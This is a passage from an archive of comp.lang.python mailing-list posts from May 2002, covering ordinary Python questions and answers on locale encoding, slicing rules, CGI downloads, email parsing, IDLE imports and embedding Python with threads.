as the keyboard layout of the os - for info purposes, it is not used in any of our commercial apps. As we are currently porting our code to Linux, I was putting my two cents in by trying to get aware of locale issues on linux. This had me calling a Python script which used "getdefaultlocale()" to obtain the encoding..... (...Python was introduced in our software as a scripting language for end-users and can be deployed in the print engine, in the task automation toolset, and can be used to manipulate the system's GUI -all pretty nifty stuff!. Not coming from a programming background per se, Python immediately caught my interest, as it could help me to get a lot of stuff done without having to "ask" busy developers - and it sure did. It's greatfully used to convert file encodings, write XML-based reports, translation tool automation, and so on!) Regards, Vincent Martin v. Loewis wrote: > vincent wehren <vincent at visualtrans.de> writes: > >> Since I started off using Python on a win32 environment, >> locale_langinfo() had never been an option; > > Can you please explain what you need this function *for*? > > I assume "to get the encoding", but that still would not be specific > enough for my purposes - then the question is "what do you need the > encoding for?" > > Regards, > Martin From msoulier at nortelnetworks.com_.nospam Wed May 22 09:23:10 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 22 May 2002 13:23:10 GMT Subject: reading directory entries one by one References: <slrnael1a0.tm.msoulier@pmerd071.ca.nortel.com> <lksn4kbhww.fsf@pc150.maths.bris.ac.uk> Message-ID: <slrnaen70f.44l.msoulier@pmerd071.ca.nortel.com> On Wed, 22 May 2002 10:21:47 GMT, Michael Hudson <mwh at python.net> wrote: > > How big are your directories? I'd be surprised to find this was ever > an issue, but... I have a few with 4000+ files in them. There's enough memory on the box to easily handle this, but it's still not efficient. > Don't think so. Wouldn't be that hard, though you'd have to write > some C. Hmm, might be a cool application of iterators. > > Hmm, thinking aloud, would it be possible/nice to be able to do: > > for entry in dir("/"): > if entry.isdir(): > print "skipping", entry.basename > elif entry.islink(): > print entry.readlink() > else: > print entry.basename, len(entry.open('r').read()) Perhaps an xlistdir (lazy version) is in order. Maybe I'll go play with this, to teach myself how to extend python. > ... Windows proponents tell you that it will solve things that > your Unix system people keep telling you are hard. The Unix > people are right: they are hard, and Windows does not solve > them, ... -- Tim Bradshaw, comp.lang.lisp :) I like your .sig. Personally the direction that some of python is taking towards windows-lovers bothers me, but it's still a great language. I mean, c'mon, .ini file format for the configparser? <side_rant> And who created file() as an alias for open()? I really prefer to not get too far away from the Unix API in the naming of functions. I have to write C too, and it makes things far easier to find the equivalent function in python that I'm looking for when it has the same name. </side_rant> Ah, better. :) Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From greg at cosc.canterbury.ac.nz Wed May 8 21:55:26 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 09 May 2002 13:55:26 +1200 Subject: ANN: Pyrex 0.2 released Message-ID: <mailman.1020946279.31303.clpa-moderators@python.org> Pyrex 0.2 is now available: http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/ New features in 0.2: * Executable statements allowed at module level. * Python class definitions. * & (address-of) operator for C variables. Various bugs have also been fixed. What is Pyrex? -------------- Pyrex is a new language for writing Python extension modules. It lets you freely mix operations on Python and C data, with all Python reference counting and error checking handled automatically. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From maxm at mxm.dk Wed May 15 12:09:17 2002 From: maxm at mxm.dk (Max M) Date: Wed, 15 May 2002 18:09:17 +0200 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> <abnqdd$8bf$1@slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0@posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn@4ax.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <3CE1C502.BF27501D@cosc.canterbury.ac.nz> <3CE1FE30.3060803@mxm.dk> <200205151430.g4FEUcrW013511@theraft.strakt.com> Message-ID: <3CE2882D.5060104@mxm.dk> Laura Creighton wrote: >Computer Programmers need to go out drinking with Civil Engineers more >often. They will then get to listen to Civil Engineering students say >things like: > >Programming is much simpler than Bridge Building. For one thing, the >programmer only has to deal with mathematical forms, and the products >of his own mind. Programs are not subject to physical laws, or >even geometric ones, all avenues are open to the creativity of the >programmer. > Well... one can create a program that design bridges, but one cannot create a bridge that design programs ... ;-) Max M From dalke at dalkescientific.com Sat May 18 00:02:32 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Fri, 17 May 2002 22:02:32 -0600 Subject: What does this traceback message mean? References: <886c5e4b.0205171158.21dee0e0@posting.google.com> Message-ID: <ac4jrm$s3p$1@slb7.atl.mindspring.net> Robin Siebler: >I tried creating a COM object using win32com.client.dispatch and got >this error message: > >Traceback (most recent call last): > File "<interactive input>", line 1, in ? ... > IDispatch = pythoncom.CoCreateInstance(IDispatch, None, clsctx, >pythoncom.IID_IDispatch) >com_error: (-2147221005, 'Invalid class string', None, None) > >Can anyone tell me what it means? When you report an error like this, you should also report the code which starts it all. In this case, you're missing the code from the "interactive input". I suspect you have an invalid class string in your call to Dispatch. What class string did you use? And what did you expect it to do? Andrew dalke at dalkescientific.com From sholden at holdenweb.com Fri May 17 00:42:23 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 17 May 2002 00:42:23 -0400 Subject: joining the mailing list References: <mailman.1021592969.25723.python-list@python.org> Message-ID: <5W%E8.2240$i42.314@atlpnn01.usenetserver.com> [Posted and mailed] Mark: Welcome to the Python community! Assuming you can't (or don't want to) access the list as a newsgroup (comp.lang.python), you need to sign up with the mailman software -- subscriptions are pretty much handled automatically. Navigate to http://mail.python.org/mailman/listinfo/python-list and you can subscribe to the list from there. For data about other Python lists/newsgroups look at http://www.python.org/psa/MailingLists.html You can access the newsgroups from that page if you have a suitably-configured browser/mailreader combination./ regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- <mark_mcgrath at agilent.com> wrote in message news:mailman.1021592969.25723.python-list at python.org... > Hi, > > I would like to join the mailing list. > > Thanks > Mark > > From mwh at python.net Fri May 17 11:25:13 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 17 May 2002 15:25:13 GMT Subject: How to solve diophantine problems? References: <abp8bb$vs$1@thccy25.nthu.edu.tw> <EF9D274DA8540EF1.D12AA7084B83AAA2.1A9250647A55D036@lp.airnews.net> <abr0dq$fsm$1@thccy25.nthu.edu.tw> <A3CC622F1F200C4E.B094127AFC81DF2B.B06C9B7849374CBE@lp.airnews.net> <DE8D6EA349AD990E.F3D6EC0A51DBE080.914F0379C35FD6B2@lp.airnews.net> Message-ID: <lklmaiokvu.fsf@pc150.maths.bris.ac.uk> claird at starbase.neosoft.com (Cameron Laird) writes: > It's possible, though, that Mr. Joshua is asking for something like > an algorithm to determine upper bounds on solutions, depending on P. > That's a very hard problem, at least for today. I'd say; it's strictly impossible, if the question is what I think it is (by the MRDP theorem). Cheers, M. -- The use of COBOL cripples the mind; its teaching should, therefore, be regarded as a criminal offence. -- Edsger W. Dijkstra, SIGPLAN Notices, Volume 17, Number 5 From tdelaney at avaya.com Thu May 9 19:49:33 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 10 May 2002 09:49:33 +1000 Subject: Python stagnating? Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A2E0@natasha.auslabs.avaya.com> > From: chrisl_ak at hotmail.com [mailto:chrisl_ak at hotmail.com] > > What would be really nice is an easily searchable, online > manual. As a user > I really like the approach taken by the PHP manual, which > integrates easy > searching, an auto search on the URL, and user comments all > in one place. http://starship.python.net/crew/theller/pyhelp.cgi Tim Delaney From rnd at onego.ru Fri May 17 09:13:16 2002 From: rnd at onego.ru (Roman Suzi) Date: Fri, 17 May 2002 17:13:16 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <Pine.LNX.4.44L.0205171630050.1576-100000@ods.pp.ru> Message-ID: <Pine.LNX.4.44.0205171701210.1166-100000@suzi.com.onego.ru> On Fri, 17 May 2002, Denis S. Otkidach wrote: > On Fri, 17 May 2002, James J. Besemer wrote: > > JJB> You could further argue that we must have a immutable form > JJB> of SETs, > JJB> so they could serve as dictionary indices. What's the > JJB> argument for > JJB> having a mutable form, other than tuple has it? Let alone > JJB> both? > > We often need a collection that is extended step-by-step avoiding > duplicates. Certainly we can use immutable sets: > > s = {-} > for item in some_sequence: > if is_good(item): > s &= {item} # create new set if it's immutable or just > # add otherwise I think, that is s = set(filter(is_good, some_sequence)) is for. > but such code will be too expensive for large sets. > > If we write similar code for strings we'll use StringIO (consider > it's some kind of mutable string) or intermidiate list (and join > items afterwards). Collecting in list is OK with sets too if we > don't need intermediate results as sets. But what about StringIO > equivalent for sets? Other immutable types are not agregates > (except complex numbers, but this is a special case) and we need > not mutable form for them. I hope for mutable sets so. I even think, sets could use a generalised member function: N in Integers f in SecureFunctions where membership function is substituted. So, set built-in type is more about setting a protocol for set type. At first, implementation doesn't matter much. I see sets as constracts similar to lists but with automatic duplicate exclusion and as efficient as possible lookup. And also with irrelevant order of elements. And it doesn't matter if they will be implemented as bit fields (for integers and chars), hashes or lists/dicts under the cover. Protocol will be their to change implementation later. And I hope those who know what set is, is also aware of the costs of the set operations. Sincerely yours, Roman A.Suzi -- - Petrozavodsk - Karelia - Russia - mailto:rnd at onego.ru - From aleax at aleax.it Wed May 1 15:57:22 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 19:57:22 GMT Subject: Slice objects with negative increment References: <aakcpj$5f$1@netnews.upenn.edu> <g8yz8.81675$vF6.2428847@news2.tin.it> <aamt6p$dfa$1@netnews.upenn.edu> <z3Dz8.83132$vF6.2475027@news2.tin.it> <aapaeu$uks$1@netnews.upenn.edu> Message-ID: <CMXz8.37534$8D3.1101090@news1.tin.it> Paul Hughett wrote: ... > : Any slice x[a:a] is empty. Why ever should x[a:a:-1] be any different > : from x[a:a:1]?! I suggest you download and install Numeric so you > : can easily check on such doubts. > > : Slicing rules are simple. [details omitted] > > Perhaps, but they give some results that I find anomalous. Consider this You'll agree that the use of negative indices aliased to nonnegative ones, used also in indexing, is a convenience that cannot be given up. Given that, I doubt one can construct rules, analogous for slice, range etc, that can avoid any 'minuscule' "special-case" such as the one below. > mini-problem: Given i and j such that j > i >= 0, write a snippet of > code to construct a slice object that selects elements j-1, j-2, ..., i. > If I understand the interpretation of slices correctly, i = 0 must > be treated as a special case and the code must look something like > > if i == 0 : > slc = slice(j, None, -1) > else : > slc = slice(j, i, -1) No, slice(j,i,-1) works for any j and i meeting your constraints, but it gives elements j, j-1, ..., i+1, not the ones you require. In Python, any range and the like is always first-bound-included, last-bound- excluded (as A. Koenig suggested even for C back in the '80s). You do need to special-case your request if you don't know the length of the sequences involved, because then you don't know the exact rule by which positive and negative indices are mapped. I.e., you can't mix negative and positive indices unless you know how they correspond (thus, unless you know the sequence's length). > : Even having just one convention might be a problem if the convention > : was bad -- complicated, irregular, inconsistent. I think Python's > : arrangement here is quite good. > > I'm less convinced of that, in light of the example just given. > Having to treat element zero as a special case could come as a nasty > surprise to some programmer. No doubt, if that programmer knows so little Python as to ignore that -1 is a valid index and indicates the last one of the sequence. Without that knowledge, the consequence that i-1 is also a valid index for i==0, but then it's at the end, not "before the start" as it would be if negative indices weren't mapped that way. This meaning of a "-1" index, however, is so often required in Python, that most learn it very early in their study of the language. That being so, it's hardly surprising that some programmer who tries to use reasonably advanced constructs (generic slice objects prepared w/o knowledge of the lengths of the sequences to which they will apply) without a grasp of elementary ones (negative indices) is setting himself (or herself) up for nasty surprises. Alex From ianb at colorstudy.com Thu May 9 21:00:13 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 09 May 2002 20:00:13 -0500 Subject: downloading cgi advice In-Reply-To: <3CDAFA76.9050508@nmt.edu> References: <3CDAFA76.9050508@nmt.edu> Message-ID: <1020992414.515.116.camel@localhost> On Thu, 2002-05-09 at 17:38, Jeff Shipman wrote: > I've got a cgi which handles downloading > files to a person's computer. Files of > type .tar.gz and .exe go through this CGI. > These are some snippets I have from the > program: > > # Determine size of file > try: > s = os.stat(BASEDIR+'/'+loc) > > size = int(s[6]) > except OSError: > errmsg('Couldn\'t stat() file!') > except: > errmsg('Unexpected error while calling stat()!') In case of errors, you should send proper error messages to the client. Something like: print 'Status: 404 Not Found' or in the case of unknown errors: print 'Status: 500 Internal Server Error' Otherwise it looks fine. Though when you do sys.stdout.write(file.read(size)), you'll have the entire file in memory for a short time -- if you have the memory, and a low number of users, it doesn't really matter. If not you should chunk it like: while 1: t = file.read(4096) # 4096 = random number if not t: break sys.stdout.write(t) Ian From akuchlin at ute.mems-exchange.org Thu May 9 15:31:46 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 09 May 2002 19:31:46 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <JkuC8.40762$zW3.443875@news1.tin.it> <3cdaa645.261079192@news.newsguy.com> Message-ID: <slrnadljl2.e1e.akuchlin@ute.mems-exchange.org> In article <3cdaa645.261079192 at news.newsguy.com>, Bryan Richard wrote: > you don't make a lot (if any) from the newsstands. it's more to > sweeten the deal for advertisers and the world of Python advertising > seems somewhat thin. The pool of potential advertisers for Python also seems small. There's O'Reilly, Zope Corp., ActiveState, PythonWare, TheKompany, Archaeopteryx, and that's about it; too few to support a glossy publication. I'd suggest just leaving it a self-supporting 'zine, or pursuing the idea of a supplement to some other publication. (I haven't seen Py yet, but do intend to subscribe as soon as I have a stable address again.) --amk (www.amk.ca) I've more reason to find him than you have. Otherwise I'm going to spend the rest of my days prancing around in these ridiculous skirts! -- Peri, in "Mark of the Rani" From pyth at devel.trillke.net Thu May 16 16:31:29 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 16 May 2002 22:31:29 +0200 Subject: how to determine an 'open' string? In-Reply-To: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com>; from hst@empolis.co.uk on Thu, May 16, 2002 at 04:59:00PM +0100 References: <8FC4E7C302A6A64AAD5DB1FA0E825DEB220BB3@hendrix.empolisuk.com> Message-ID: <20020516223129.O28033@prim.han.de> Harvey Thomas wrote: > import re > > rex = re.compile('"""|\'\'\'|"|\'') > > def quotecompleted(str): > global rex > f = rex.findall(str) > lf = len(f) > if lf < 2: #the trivial cases > ...<13 lines more> i have come what seems to be the final version :-) def open_quote(text, rex=re.compile('"""|\'\'\'|"|\'')): """ return the open quote at the end of text. if all string-quotes are matched, return the empty string. Based on ideas from Harvey Thomas. """ rfunc = lambda x,y: x!=y and (x or y) or '' quotes = rex.findall(text) return quotes and reduce(rfunc,quotes) or '' regards and thanks for all suggestions, holger From apendragn at earthlink.net Fri May 24 00:32:54 2002 From: apendragn at earthlink.net (Ed LeBouthillier) Date: Fri, 24 May 2002 04:32:54 GMT Subject: Where does IDLE expect to find imported files? References: <ach90f$141$1@knossos.btinternet.com> Message-ID: <3cedc1b0.6214398@news.earthlink.net> On Wed, 22 May 2002 23:18:39 +0000 (UTC), "CarolineBlue" <Midnightblue3 at btinternet.com> wrote: >BlankCan't get import to work - need to know correct directory to put >.py files in for processing > >I have just installed Python 2.2.1 under Windows 98SE (from a Computer >Shopper CD). I am working my way through the Tutorial, but cannot >import files for processing by IDLE. Where does IDLE expect to find >the named file (eg. prog.py), so that "import prog.py" will work? Given file "prog.py", don't "import prog.py", but rather "import prog" > I tried putting it various directories, such as /usr/local/bin >/usr/local/lib /usr/local/bin/python but none have worked. SO where >is the magic directory? Python reads a system environment variable PYTHONPATH and appends it to sys.path. It then searches in the directories listed in sys.path. To make it look where you want it, add: set PYTHONPATH=C:\directory in your autoexec.bat file Cheers, Ed From jdhunter at nitace.bsd.uchicago.edu Mon May 20 12:16:15 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Mon, 20 May 2002 11:16:15 -0500 Subject: Help needed with C++ extension References: <mailman.1021852172.17996.python-list@python.org> Message-ID: <m2y9eelrqo.fsf@mother.paradise.lost> >>>>> "Michael" == Michael Owens <owensmk at earthlink.net> writes: Michael> Why does the virtual function call fail from within the Michael> module, and can I do anything to fix it? Have you tried using boost.python to automate your C++ extension building? http://www.boost.org/libs/python/doc/ John Hunter From toman at marge.cyber-dyne.com Thu May 2 19:19:38 2002 From: toman at marge.cyber-dyne.com (toman) Date: Thu, 02 May 2002 16:19:38 -0700 Subject: Win32 install questions Message-ID: <3CD1C98A.2BEC68D@marge.cyber-dyne.com> This is more of a Wise question than a Python question. I'm trying to install Python-2.2.1.exe and win32all-146.exe as part of a larger installation. Are there command line arguments for these programs that can make them run silently (i.e. no GUI at all) and that can specify the target path for the installation? So far I've found the /S flag which makes the Python install silent, but the win32all install still pops a progress bar. Is there any way around this? Also, I noticed that site packages have been moved to Lib/site-packages . Is this going to stay this way for the forseeable future? Thanks, J. Toman From usenet at thinkspot.net Thu May 30 02:20:15 2002 From: usenet at thinkspot.net (Sheila King) Date: Wed, 29 May 2002 23:20:15 -0700 Subject: The email package and KLEZ mails References: <oqn0ukzfsu.fsf@titan.progiciels-bpi.ca> <mailman.1022585747.21423.python-list@python.org> <acvmf3.t8.1@kserver.org> <mailman.1022725133.16968.python-list@python.org> Message-ID: <ad3nng.11g.1@kserver.org> On 29 May 2002 22:17:23 -0400, pinard at iro.umontreal.ca (Fran?ois Pinard) wrote in comp.lang.python in article <mailman.1022725133.16968.python-list at python.org>: > [Sheila King] > > [Anthony Baxter] > > > [Fran?ois Pinard] > > > > > In my experience, incorrect MIME structure is one of the numerous > > > > hints about mail being SPAM. I do not remember a single false positive. > > > > I wish. I have to deal with end-user email, and trust me, it's not all > > > spam. > > > I concur with Anthony. I have written an email filter package using the > > email module and if you use the strict Parser class included in that > > module, it does throw away too much good email (because any good mail > > thrown away is too much). > > Maybe the `email' package is stricter than the various MIME processing > tools that were in Python 1.5.2 in still exist in more recent versions, > but I would be tempted to think they are of comparable strictness. I do > not really know. Well, no, the email package appears to be stricter. I've used code that had the old 1.5.2 parser in it, and it "broke" noticeably with the new email module, due to the strictness. > The proverb ways that "alike people get together", it might explain why > I do not see more problems: most of my correspondents have mailer agents > which do a fair job at MIME generation. And when MIME mistakes happens, > it is usually sufficient to raise the subject with my correspondents, > who are usually happy to get the problem solved at their end. > > Often (but not necessarily), badly structured messages come from people > who do not care much. Otherwise, they would have set up themselves better. > As I much prefer people who care, from my viewpoint, there is a significant > correlation between a message being MIME-erroneous and a message not being > worth much interest. ??? I don't understand the point of this? I had an email message I received from the razor mailing list that couldn't be parsed by the email module. Now that is a list for people who care very much about email and preventing spam. So...? And, if I get emails that don't parse, I should do what? Change my circle of email friends? Sorry, but your points above are lost on me. > > Moreover, as I've mentioned in other posts and email correspondence, > > if you're writing software for end users, you really can't just > > tell them: "Oh, all those mails that caused errors...they were just > > non-RFC compliant. Probably SPAM or virus." > > If you are writing filters for everybody, you are probably right. When I > write filters for my friends or for myself, in my experience, careless > MIME may be filtered out as SPAM, and we do not loose much in practice :-). I have had a different experience than you, as I've pointed out. Most of it is spam, but some is not. > > Secondly, why is it that the three other mail readers I use (Agent, > > Pegasus, and PocoMail) are all able to parse these messages? I also > > agree with the idea that applications must be strict in what they write > > and liberal in what they accept. > > This is a good principle, but only when kept within reasonable bounds. > Users should be on the side of being strict, and applications should be on > the side of being liberal. Users might suffer uselessly by being overly > ascetic, applications might miss their goal through unlimited friendliness. I agree. > For example, I expect compilers to raise diagnostics and help me at being > strict, because being overly liberal for a compiler is just not helpful. > Another example, a sad one, is the messy state of HTML all around us, > it comes from browsers having been by far too liberal, and for too long. > If mailer agents are very lenient to MIME mis-formatting, they actively > prevent progress. They do not really help it, as they trigger confusion. > Moreover, by implementing MIME poorly, they throw discredit on a good idea. > MIME standards are not that hard to read, you know. It is a mystery to > me why some mail agents mangle the MIME they generate, or miss to assemble > it conveniently, in the spirit of the standards, at presentation time. I agree that there is a point where one can go too far. However, I don't think that the email module is in any danger of that. I've seen quite a few articles posted here in this newsgroup from people who are having difficulty parsing emails with that module. It wouldn't be a bad idea to make it better able to handle some of the offending emails that it currently cannot handle. > > I have written a "smart parser" class that I am using in my email > > filter. I use this class instead of the Parser class provided with the > > email module. I provide the code below for all interested parties. > > [...] Code follows the signature. Enjoy, > > I'm saving it for possible later use! Thanks for providing this... You are welcome. So far as I can tell from reading a few of the messages on the mimelib developers list, it looks like others who are also interested in this "problem" will possibly come up with an even better solution in the not too distant future. I'm keeping my fingers crossed. -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ From gerhard at bigfoot.de Thu May 30 16:30:00 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Thu, 30 May 2002 22:30:00 +0200 Subject: Using nntplib In-Reply-To: <3cf65536_3@news.newsgroups.com> References: <3cf633df_2@news.newsgroups.com> <04sJ8.51500$%u2.49899@atlpnn01.usenetserver.com> <3cf65536_3@news.newsgroups.com> Message-ID: <20020530203000.GA11720@lilith.my-fqdn.de> * jb <jblazi at hotmail.com> [2002-05-30 18:44 +0200]: > Steve Holden wrote: > > http://pydish.holdenweb.com/pwp/chp5notes.htm > > > > As far as informing the GUI thread about what's been received so far, > > whether you use LIST or XOVER perhaps you could just put the headers onto > > a Queue (see that Queue module) and letting the GUI thread take them off. > > That should ease up any critical-section issues. > > Thx, this sounds intresting. But I should have to change nntplib, should I > not? That I should use queues, is obvious. Should I insert enqueueing (?) > at the position I marked in my first posting? > > Maybe the best solution would be to use QSockets (as I work with PyQt). Then > I can use Qt signaling in a very natural way. I could create a new, > asynchronous version of nntplib, that works with Qt signals (and this seems > easy as nntplib is nicely documented and clear). What do you think of this? You could also consider switching to Twisted (http://www./twistedmatrix.com) for the networking part of your application. It's an asynchronuous networking framework which includes support for NNTP clients and servers. I personally haven't yet grokked the async world view, but I've started to try writing a NNTP proxy with it. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From mats at laplaza.nospam.org Thu May 9 23:03:42 2002 From: mats at laplaza.nospam.org (Mats Wichmann) Date: Fri, 10 May 2002 03:03:42 GMT Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> <mailman.1020741612.29852.python-list@python.org> <yZPB8.5750$m26.112@atlpnn01.usenetserver.com> Message-ID: <3cdaddb7.181149028@news.laplaza.org> :> > "What makes code readable?" :> > :> > :> > Punctuation itself also inherently lowers :> > readability, I believe, which is a reason I find :> > assembly easier to read than Perl, though clearly :> > less productive. :> : :> :> Seriously, though I think that punctuation aides readability. :> :Of, ((course- $if %there[''s"] (((too *much@) of!) #it), +it, {can; {get}} :[in]- +the ~way~ `as`) \well). In reading written text (not code), punctuation is used as a flow control device and is very important. Too much or too little punctuation will make text cumbersome to read. Sentences that are just after or just before whitespace also assume more importance. A lot of this is because humans are better image processors than word processors, and recognize patterns (what a word looks like) more than what the individual letters are. This is why SHOUTING IN EMAIL is so irritating :-) - you have a harder time recognizing the words. Whether this applies to code readability I don't know. I think that in any language there are enough non-letter characters that it's going to break up the kind of reading flow that you get with text. So I have little clue as to what *would* make a programming language more readable, except that *I* find Python is more readable than Perl. End of claims. Mats Wichmann From shredwheat at attbi.com Mon May 6 23:21:49 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Tue, 07 May 2002 03:21:49 GMT Subject: need unique filename References: <3CD73AE6.82C91293@uni-bielefeld.de> Message-ID: <3CD74824.5000706@attbi.com> Marcus Schopen wrote: > is there a possibility to create unique filenames to avoid problems if > two files are created at the same time. import tempfile tempfilename = tempfile.mktemp() read more about it online, you can also pass an optional suffix to the call. there are other function to help deal with temp files. http://www.python.org/doc/current/lib/module-tempfile.html From wurmy at earthlink.net Wed May 22 19:56:33 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Wed, 22 May 2002 23:56:33 GMT Subject: "casting" Python objects References: <achcu0$j62$1@news.vcd.hp.com> Message-ID: <3CEC3147.4165A8E7@earthlink.net> DJW wrote: > In the main thread, I have a sub-class of jabber.Message, call it "FooMsg" > (there are actually going to be multiple derived types of jabber.Message). > My main application thread has a loop that pulls messages off the Queue and > calls the appropriate handler inside of the message. However, the type of > the messages are of type jabber.Message, not my FooMsg that contains the > handlers: > > class FooMsg( jabber.Message): > > def Handler( self ): > # call approriate handler for message > ... > > while 1: > msg = msg_queue.get() # returns type jabber.Message > msg.Handler() # ERROR: Handler() is only in type FooMsg!!! > > Obviously, one way around this is to only place FooMsgs in the Queue in the > first place. But that seems to defeat the purpose of using a generic, > reusable module like jabber.py. I want to use an unmodified version of > jabber.py if at all possible. In order to be able to add FooMsg instances to the Queue, do you really have to change jabber.py? I don't know these objects, but if Queue accepts jabber.Message instances, then it should also accept FooMsg instances, because they are subclasses of jabber.Message. But maybe you cannot control directly what goes in the queue...? > The only other way I can figure to do this is > something like: > > while 1: > msg = msg_queue.get() # returns type jabber.Message > node = msg.asNode() # get the contents of the jabber message > foo_msg = FooMsg( node ) # create a new FooMsg with the message contents > foo_msg.Handler() # Now we are calling the correct type! > > But this seems pretty ugly and inefficient. Is there something more Pythonic > (ie, better) that I'm not seeing here? (also, I know that this is ugly OOP) It doesn't seem so bad to me, but then again, I'm far from an OO purist... :-) Here's an alternative approach you might want to ponder. Instead of subclassing jabber.Message, and creating an is-a relation, why not use a has-a relation instead and use a class that *has* a jabber.Message as an attribute? Like class MessageHandler: def __init__(self, jabbermsg): self.jabbermsg = jabbermsg def handler(self): # do something nice with self.jabbermsg... In this light, code like while 1: msg = msg_queue.get() # returns type jabber.Message node = msg.asNode() # get the contents of the jabber message handler = MessageHandler(node) handler.handler() doesn't seem so "bad" anymore. HTH, -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From eric.brunel at pragmadev.com Thu May 30 09:06:46 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Thu, 30 May 2002 13:06:46 +0000 Subject: User input question References: <ad4ovf$tqev9$1@ID-49758.news.dfncis.de> <ad4qbk$sd6$1@wanadoo.fr> <ad4stt$uau73$1@ID-49758.news.dfncis.de> <ad4t64$qli$1@wanadoo.fr> <ad4uq3$trgg5$1@ID-49758.news.dfncis.de> Message-ID: <ad50pc$9s5$1@wanadoo.fr> Ken wrote: > But how do I set a field on the web browser for people to type in? Don't I > need a form for people to type in? If so, how do I define the "method", > "action" etc. from the form header? (eg: "<form name=update > action=search.cgi method=post>") Hmmm, we're drifting off-topic here but yes, you do need a form for the user to type in. For the "method" and "action" attributes of the form, it's a bit complicated: - "method" controls how the data will be passed from your Web server to your script. With Python, if you use the right modules (see below...), this attribute isn't that much important, and can often be omitted. - "action" is the script you'll launch when the user clicks the "submit" button. And here's the big problem: this script *must* be on an actual web server. Every web server also has a dedicated space for CGI scripts, which depends on the server you use. It's a directory, and your script *must* be in this directory or one of its sub-directories to work. Therefore, even to debug a script, you must have a web server and be able to install your script in its CGI area. For the "action" attribute, you should always set it to an absolute URL, with or without the server's name (e.g. action="http://myserver/cgi-bin/myScript.py", or action="/cgi-bin/myScript.py"). I also feel I have to warn you: debugging a CGI script can be *very* frustrating... It's quite difficult to set the whole thing to work, and when you make errors in your script, you won't get any coherent message from the web server. So my advice would be to try to debug your script before actually putting it on the server, using another input method than HTML forms. Then add form input, and test it on the server. Concerning the data passed to your script, look at the module named "cgi" in the standard Python library. It has a class named FieldStorage that allow you to access all fields in the form in a dictionary-like fashion. It also guesses the method with which the data was passed, so you don't have to bother guessing it or decoding the data: the FieldStorage class does it for you. You'll soon find you can't live with this class! HTH, and good luck. -- - Eric Brunel <eric.brunel at pragmadev.com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From bl at netgroup.dk Fri May 31 03:34:35 2002 From: bl at netgroup.dk (Bo Lorentsen) Date: 31 May 2002 09:34:35 +0200 Subject: Embedding and threads ? In-Reply-To: <j4znyhzguh.fsf@informatik.hu-berlin.de> References: <mailman.1022667286.17372.python-list@python.org> <j44rgrnkfm.fsf@informatik.hu-berlin.de> <mailman.1022740196.32586.python-list@python.org> <j4d6vdwvyk.fsf@informatik.hu-berlin.de> <1022771667.689.136.camel@netgroup> <j4znyhzguh.fsf@informatik.hu-berlin.de> Message-ID: <1022830475.893.17.camel@netgroup> On Thu, 2002-05-30 at 19:27, Martin v. L?wis wrote: > Python has three namespaces: locals, globals, and builtins. The > parameters allow you to specify the locals and globals, since that > allows you to execute your expression in a reasonably "fresh" > environment, and since Python could not obtain these dictionaries > otherwise (notice that there is a "global" namespace per module). But I have to set the builtins explictly, and that sounds to me like they where not there in there first place. But then I set the __builtins__ namespace, do I then set it for all elements (interpreter states) in the Python module ? > That is not the case. There is one thread state per thread. All but > one thread is blocked at any point in time (unless the other threads > execute unrelated C code); those threads have their thread state > preserved in a local variable at the point where they last executed > BEGIN_ALLOW_THREADS. So thread states can't run one in each fysical thread ! I think this is a bit confusing, as I don't see how to use Python in parallel from a threaded C/C++ application, or even how threads would work internally in Python itself, except if this is a light weight thread system. > > but is it not possible to "swap" these after getting the GIL, or am > > I totally off track here ? > > It certainly is possible. But I will not be able to have two Python interpreter states running in true parallel ? > There is no difference between "inside Python", and "from C". Write > down what you would do in Python, then translate that literally into C > (using PyObject_CallFunction etc). 